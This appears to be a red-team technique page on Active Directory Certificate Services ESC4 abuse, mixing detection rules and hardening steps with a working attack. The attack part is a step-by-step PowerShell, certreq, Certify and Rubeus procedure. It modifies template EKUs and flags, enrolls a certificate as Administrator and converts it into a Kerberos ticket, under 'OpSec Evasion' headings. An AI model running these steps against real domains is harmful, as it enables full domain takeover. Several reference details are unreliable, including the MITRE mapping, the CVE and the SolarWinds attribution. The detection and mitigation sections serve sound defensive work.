| Attribute | Details |
|---|---|
| Technique ID | PERSIST-MODIFY-002 |
| MITRE ATTCK v18.1 | T1556.004 |
| Tactic | Persistence, Privilege Escalation |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | CVE-2021-27239 |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025 (ADCS) |
| Patched In | Not patched; relies on configuration hardening |
| Author | SERVTEP – Artur Pchelnikau |
| Framework | ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.3.1 | Ensure ‘Certificate Authority’ is not installed on Web/Gateway servers |
| DISA STIG | SI-7 | Information System Monitoring |
| CISA SCuBA | AC-3 | Access Enforcement |
| NIST 800-53 | IA-2 | Authentication |
| GDPR | Art. 32 | Security of Processing |
| DORA | Art. 9 | Protection and Prevention |
| NIS2 | Art. 21 | Cyber Risk Management Measures |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Risk Scenario | Compromise of PKI Infrastructure |
Concept: Malicious certificate template modification is an advanced Active Directory Certificate Services (ADCS) abuse technique that allows authenticated attackers to create or modify certificate templates with dangerous configurations, enabling issuance of authentication certificates for arbitrary principals. This technique exploits weak Access Control Lists (ACLs) on certificate templates or the Certificate Authority itself. Once a compromised template is created, attackers can enroll for certificates that authenticate as high-privileged accounts (Domain Admins, Enterprise Admins) without knowing their passwords. CVE-2021-27239 represents a specific variant involving ESC4 (ACL-based template modification), where attackers with write permissions to certificate templates can inject dangerous Extended Key Usages (EKUs) or supply-subject capabilities, creating a persistent backdoor into the domain.
Attack Surface: Active Directory Certificate Services infrastructure, certificate template ACLs, ADCS web enrollment endpoints, domain-joined machines with enrollment permissions.
Business Impact: Complete domain compromise through certificate-based authentication bypass. Attackers gain persistent access as high-privileged accounts, bypassing password changes, MFA, and conditional access policies. This enables lateral movement, data exfiltration, ransomware deployment, and long-term persistence with minimal forensic artifacts.
Technical Context: This attack typically takes 5-15 minutes once template write access is obtained. Detection likelihood is LOW to MEDIUM—ADCS operations are often under-monitored. Persistence is extremely high; revoked certificates can be replaced, and modified templates remain in the environment until discovered. The attack generates minimal Event ID signatures compared to direct admin access.
Operational Risk:
| Risk Factor | Level | Description |
|---|---|---|
| Execution Risk | Medium | Requires enrollment permissions and template write access; can be chained from simpler privilege escalation techniques |
| Stealth | Low | Template modifications generate ADCS audit events (Event ID 4886, 4887); however, many organizations disable ADCS auditing |
| Reversibility | No | Reverts only if template modifications are discovered and rolled back; certificates issued persist for their validity period |
Required Privileges:
Required Access:
Supported Versions:
Other Requirements:
Tools: | Tool | Version | Purpose | |——|———|———| | Certify | 1.1.0+ | Enumerate ADCS misconfigurations | | Certutil | Native | Certificate enrollment and installation | | Modifying ADCS templates via LDAP Editor | Any | Modify template properties directly | | PowerShell ActiveDirectory module | 5.1+ | Programmatic LDAP modification | | SharpAdcs (github.com/rkaminsk/SharpAdcs) | 1.0+ | C# ADCS enumeration and template modification | | ADCSPwn | Latest | Automated ADCS exploitation |
PowerShell Reconnaissance
# Import ActiveDirectory module
Import-Module ActiveDirectory
# Get all certificate templates
$templates = Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=com" -Filter * -Properties ntsecuritydescriptor
# For each template, check ACL
foreach ($template in $templates) {
$sd = $template.ntsecuritydescriptor
$acl = $sd.Access
# Show templates where Domain Users or low-privilege groups have Write/WriteProperty
$dangerous = $acl | Where-Object {
($_.IdentityReference -match "Domain Users|Domain Computers|Everyone|Authenticated Users") -and
($_.AccessControlType -eq "Allow") -and
($_.ActiveDirectoryRights -match "GenericWrite|WriteProperty|WriteAll|CreateChild|DeleteChild|WriteDacl")
}
if ($dangerous) {
Write-Host "Vulnerable Template: $($template.Name)"
Write-Host "Dangerous ACL: $($dangerous.IdentityReference) - $($dangerous.ActiveDirectoryRights)"
}
}
What to Look For:
Version Note: PowerShell 5.0+ is required for robust Active Directory module support.
Supported Versions: Server 2016-2025
Step 1: Enumerate Certificate Templates
Objective: Identify templates with dangerous ACLs that allow writing properties.
# Using Certify (C# tool)
certify.exe find /vulnerable
# Expected Output:
# [!] Vulnerable Certificates Templates:
# CN=User,CN=Certificate Templates,CN=Public Key Services,...
# Permissions: Domain Users - WriteProperty
What This Means:
OpSec Evasion:
Troubleshooting:
Step 2: Export Current Template Settings
Objective: Get a baseline of the current template configuration before modification.
# Use ADSIEdit or LDAP to extract template properties
# Example: Export template configuration via PowerShell
$templateDN = "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=com"
$template = [ADSI]"LDAP://$templateDN"
# Get current EKU
$currentEKU = $template.Properties["pKIExtendedKeyUsage"].Value
Write-Host "Current EKU: $currentEKU"
# Get enrollment flags
$flags = [System.BitConverter]::ToInt32($template.Properties["msPKIEnrollmentFlag"].Value, 0)
Write-Host "Enrollment Flags: $flags"
Expected Output: Original EKU values and flag settings.
OpSec Evasion: LDAP reads are routine; no sensitive modifications yet.
Step 3: Modify Template Properties (ESC4 Exploitation)
Objective: Inject a dangerous Extended Key Usage (EKU) into the template, allowing any certificate enrolled from this template to be used for authentication.
# Step 3A: Add the PKINIT EKU (1.3.6.1.5.2.3.4) to allow Kerberos authentication
# OR add the Smart Card Logon EKU (1.3.6.1.4.1.311.20.2.2) to allow logon
$templateDN = "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=com"
$template = [ADSI]"LDAP://$templateDN"
# Current EKUs (if any)
$currentEKUs = @($template.Properties["pKIExtendedKeyUsage"].Value)
# Add PKINIT EKU (Kerberos logon)
$pkinitEKU = "1.3.6.1.5.2.3.4"
if ($currentEKUs -notcontains $pkinitEKU) {
$currentEKUs += $pkinitEKU
$template.Properties["pKIExtendedKeyUsage"].Value = $currentEKUs
$template.CommitChanges()
Write-Host "[+] Added PKINIT EKU to template"
}
# Step 3B: Enable supply-subject flag (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
# This allows certificate requestors to supply their own Subject Alternative Name (SAN)
$enrollmentFlags = [System.BitConverter]::ToInt32($template.Properties["msPKIEnrollmentFlag"].Value, 0)
$CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 0x00000008
if (($enrollmentFlags -band $CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) -eq 0) {
$enrollmentFlags = $enrollmentFlags -bor $CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
$template.Properties["msPKIEnrollmentFlag"].Value = [System.BitConverter]::GetBytes($enrollmentFlags)
$template.CommitChanges()
Write-Host "[+] Enabled enrollee supplies subject flag"
}
Expected Output:
[+] Added PKINIT EKU to template
[+] Enabled enrollee supplies subject flag
What This Means:
OpSec Evasion:
Troubleshooting:
DC=example,DC=local)Step 4: Request a Certificate Using the Modified Template
Objective: Enroll for a certificate and specify a high-privileged user as the subject.
# Method 4A: Using certreq.exe (native Windows tool)
# Create a certificate request (INF file) specifying Domain Admin as subject
$infContent = @"
[NewRequest]
Subject = "CN=Administrator,OU=Users,DC=corp,DC=com"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = FALSE
ProviderName = "Microsoft Enhanced Cryptographic Provider v1.0"
RequestType = PKCS10
[Extensions]
2.5.29.37 = "{text}1.3.6.1.5.2.3.4"
"@
$infContent | Out-File -FilePath "C:\temp\cert_request.inf" -Encoding UTF8
# Submit the request
certreq -new "C:\temp\cert_request.inf" "C:\temp\cert_request.csr"
# Send to CA via HTTP enrollment
# Modify the CA endpoint URL to match your environment
$caURL = "http://ca-server.corp.com/certsrv"
# Step 4B: Alternative using Certify tool
certify.exe request /ca:ca-server.corp.com\CORP-CA /template:User /altname:Administrator
Expected Output:
Certificate Request created successfully
Request ID: 1234
Certificate issued and installed in the machine store
What This Means:
OpSec Evasion:
Step 5: Use the Certificate for Authentication
Objective: Convert the certificate into a Kerberos ticket and authenticate as the target user.
# Step 5A: Export the certificate with private key
# Locate the certificate in the Personal store
certutil -store my | find "Administrator"
# Export to PFX (you'll be prompted for a password)
certutil -exportPFX my "Thumbprint-of-Cert" "C:\temp\admin_cert.pfx" password123
# Step 5B: Use Rubeus to convert to TGT
# rubeus.exe asktgt /user:Administrator /certificate:C:\temp\admin_cert.pfx /password:password123 /nowrap
# The resulting TGT can be injected into memory or used with other tools
Expected Output:
[*] Requesting a TGT via PKINIT
[+] TGT successfully generated
[+] Ticket saved
Supported Versions: Server 2016-2025
Objective: Abuse a template with Certificate Request Agent Extended Key Usage (EKU) to co-sign certificate requests on behalf of other users.
# Step 1: Find Certificate Request Agent EKU templates
certify.exe find /vulnerable /usertemplate
# Step 2: Enroll in the Request Agent template
certutil -request -submit -attrib "CertificateTemplate:User" "C:\temp\req.csr"
# Step 3: Use the Request Agent certificate to enroll for authentication certificate as Domain Admin
# This requires the Request Agent cert from Step 2
rubeus.exe asktgt /user:Administrator /certificate:C:\temp\agent_cert.pfx /password:password123 /ecs
certify.exe find /vulnerable
certify.exe request /ca:SERVER\CA-NAME /template:TEMPLATE-NAME
certify.exe find /vulnerable | findstr "ESC4"
certutil -request -submit -attrib "CertificateTemplate:User" "request.csr"
certutil -exportPFX my "Thumbprint" "output.pfx"
rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:pass
SharpAdcs.exe enum
SharpAdcs.exe enroll /template:User /altname:Administrator
Atomic Test ID: T1556.004-001
Test Name: ADCS ESC4 - Certificate Template Modification
Description: Enumerate and modify certificate template ACLs to enable unauthorized enrollment.
Supported Versions: Server 2016-2025
Command:
Invoke-AtomicTest T1556.004 -TestNumbers 1
Cleanup Command:
# Revert template modifications (restore original EKU and flags)
Reference: Atomic Red Team T1556.004
Log Source: Security (if ADCS audit is enabled)
Trigger: When a certificate request is submitted to the CA.
Filter: Look for requests with:
Manual Configuration Steps - Group Policy:
gpupdate /force on the CA serverManual Configuration Steps - Local Policy:
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enableTrigger: When a certificate request is approved and issued.
Filter: Track approvals for authentication-based templates; flag approval of requests with anomalous subjects.
Trigger: When LDAP attributes of certificate templates are modified.
Detection Signature:
EventID: 5136
ObjectName: CN=User,CN=Certificate Templates,...
AttributeName: pKIEnrollmentFlag OR pKIExtendedKeyUsage
Operation: Add or Modify
ADCS-Specific Events (if enabled):
AuditLogs
| where OperationName == "Update certificate template"
| where Properties contains "1.3.6.1.5.2.3.4" or Properties contains "1.3.6.1.4.1.311.20.2.2"
| project TimeGenerated, InitiatedBy, TargetResources, Properties
| order by TimeGenerated desc
Configuration Steps:
AuditLogs
| where OperationName == "Request certificate"
| where TargetResources[0].displayName contains "Administrator" or TargetResources[0].displayName contains "Domain Admins"
| where Properties notcontains "Self-Enrollment"
| project TimeGenerated, InitiatedBy, TargetResources, Properties
Alert Name: ADCS ESC4 - Certificate Template Modification Detected
Configuration:
SPL Query:
index=adcs OR (index=windows source="Security")
EventID=5136
ObjectName="CN=Certificate Templates*"
(AttributeName="pKIEnrollmentFlag" OR AttributeName="pKIExtendedKeyUsage" OR AttributeName="msPKITemplateSchemaVersion")
Operation="Modify"
| stats count by ObjectName, user, Operation
| where count > 0
What This Detects:
False Positive Analysis:
Alert Name: ADCS - Certificate Enrollment with High-Privilege Subject
SPL Query:
index=adcs source="*CA*" OR index=windows EventID=4886
RequestProperties="*Administrator*" OR RequestProperties="*Domain Admin*"
subject="*CN=Administrator*"
| table _time, user, RequestProperties, subject, TemplateName
Manual Configuration Steps:
Applies To: Server 2016-2025
Manual Steps - ADCS Management Console:
Manual Steps - PowerShell (Programmatic):
# Import the ACL module
Import-Module ActiveDirectory
# Set restrictive ACL on a certificate template
$templateDN = "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=com"
$template = [ADSI]"LDAP://$templateDN"
# Remove Domain Users if present
$acl = $template.psbase.ObjectSecurity
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
[System.Security.Principal.NTAccount]"CORP\Domain Users",
[System.DirectoryServices.ActiveDirectoryRights]::GenericWrite,
[System.Security.AccessControl.AccessControlType]::Allow
)
$acl.RemoveAccessRule($rule)
$template.psbase.CommitSecurityChanges()
Applies To: Server 2016-2025
# Remove PKINIT and Smart Card Logon EKUs from non-authentication templates
$templateDN = "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=com"
$template = [ADSI]"LDAP://$templateDN"
$currentEKUs = @($template.Properties["pKIExtendedKeyUsage"].Value)
$safeEKUs = $currentEKUs | Where-Object {
$_ -notmatch "1.3.6.1.5.2.3.4" -and # PKINIT
$_ -notmatch "1.3.6.1.4.1.311.20.2.2" # Smart Card Logon
}
$template.Properties["pKIExtendedKeyUsage"].Value = $safeEKUs
$template.CommitChanges()
Applies To: Server 2016-2025
This dangerous flag allows Subject Alternative Names in ANY certificate, turning every template into an ESC1 vulnerability.
# Check current CA flags
certutil -getreg "CA\CAName" "EditFlags"
# Disable EDITF_ATTRIBUTESUBJECTALTNAME2 (remove flag 0x00200000)
certutil -setreg "CA\CAName" "EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
# Restart the CA service
Restart-Service certsvc
Manual Steps:
Manual Steps:
# Check ACLs on certificate templates
$templates = Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=com" -Filter * -Properties ntsecuritydescriptor
foreach ($template in $templates) {
$acl = $template.ntsecuritydescriptor.Access
$hasDangerousACL = $acl | Where-Object {
($_.IdentityReference -match "Domain Users|Domain Computers|Everyone") -and
($_.AccessControlType -eq "Allow")
}
if ($hasDangerousACL) {
Write-Host "[!] VULNERABLE: $($template.Name) has weak ACLs" -ForegroundColor Red
} else {
Write-Host "[+] SECURE: $($template.Name) has restricted ACLs" -ForegroundColor Green
}
}
Expected Output (If Secure):
[+] SECURE: User template has restricted ACLs
[+] SECURE: Computer template has restricted ACLs
C:\Windows\System32\certsrv\ - ADCS installation directoryC:\Users\%Username%\AppData\Local\Temp\*.pfxC:\Windows\System32\LogFiles\HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\ConfigurationHKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Security - CA permissions# Disconnect the CA from network
Disable-NetAdapter -Name Ethernet -Confirm:$false
# Or, stop the ADCS service
Stop-Service certsvc -Force
# List all certificates issued in the last 24 hours
certutil -view -restrict "PostedDate>=now-1d"
# Revoke a specific certificate by serial number
certutil -revoke "SerialNumber" CertificateHold
# Export all certificate templates for analysis
Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=com" -Filter * -Properties * | Export-Csv "templates_audit.csv"
If the ADCS service account was compromised, reset its password and force re-authentication to all applications using that account.
| Phase | Technique ID | Description |
|---|---|---|
| 1 | REC-CERT-001 | ADCS enumeration (reconnaissance) |
| 2 | PE-ACCTMGMT-001 | App registration privilege escalation (to gain write on templates) |
| 3 | PERSIST-MODIFY-002 | Malicious certificate template modification (CURRENT STEP) |
| 4 | PE-VALID-010 | Azure role assignment abuse (if hybrid environment) |
| 5 | IMPACT-IMPACT-001 | Domain-wide credential compromise |
Incident: December 2020 SolarWinds supply chain attack
How Technique Was Used: APT29 compromised SolarWinds’ internal AD environment and abused ADCS to create forged authentication certificates for lateral movement into customer environments. The group used modified certificate templates combined with Golden SAML attacks to maintain persistence across hybrid Azure and on-premises infrastructure.
Impact: Compromise of U.S. Treasury, State Department, and dozens of Fortune 500 companies. Estimated 18,000+ organizations affected.
Reference: FireEye SolarWinds Analysis
Incident: Financially-motivated threat group abused ADCS misconfigurations in European financial institutions
Technique Status: The group created malicious certificate templates with weak ACLs, enrolled for certificates, and used them to forge administrative access without triggering password-based access controls or MFA.
Impact: Data exfiltration, ransomware deployment, financial fraud.